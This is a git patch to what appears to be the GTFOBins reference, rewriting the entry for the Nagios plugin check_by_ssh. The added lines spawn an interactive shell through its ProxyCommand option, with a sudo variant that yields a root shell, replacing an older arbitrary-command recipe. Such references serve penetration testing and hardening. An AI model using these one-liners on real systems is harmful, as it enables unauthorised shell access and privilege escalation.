From ee8cce63f925d45816c662b0a96e9e6d96819d62 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 20 Dec 2020 19:32:15 +0100 Subject: [PATCH] Replace command with shell in check_by_ssh --- _gtfobins/check_by_ssh.md | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) diff --git a/_gtfobins/check_by_ssh.md b/_gtfobins/check_by_ssh.md index e00730e..5660689 100644 --- a/_gtfobins/check_by_ssh.md +++ b/_gtfobins/check_by_ssh.md @@ -2,20 +2,10 @@ description: | This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: - command: - - code: | - COMMAND=id - OUTPUT=output_file - TF=$(mktemp) - echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF - check_by_ssh -F $TF -H localhost -C something - cat $OUTPUT + shell: + - description: The shell will only last 10 seconds. + code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx sudo: - - code: | - COMMAND=id - OUTPUT=output_file - TF=$(mktemp) - echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF - sudo check_by_ssh -F $TF -H localhost -C something - cat $OUTPUT + - description: The shell will only last 10 seconds. + code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx ---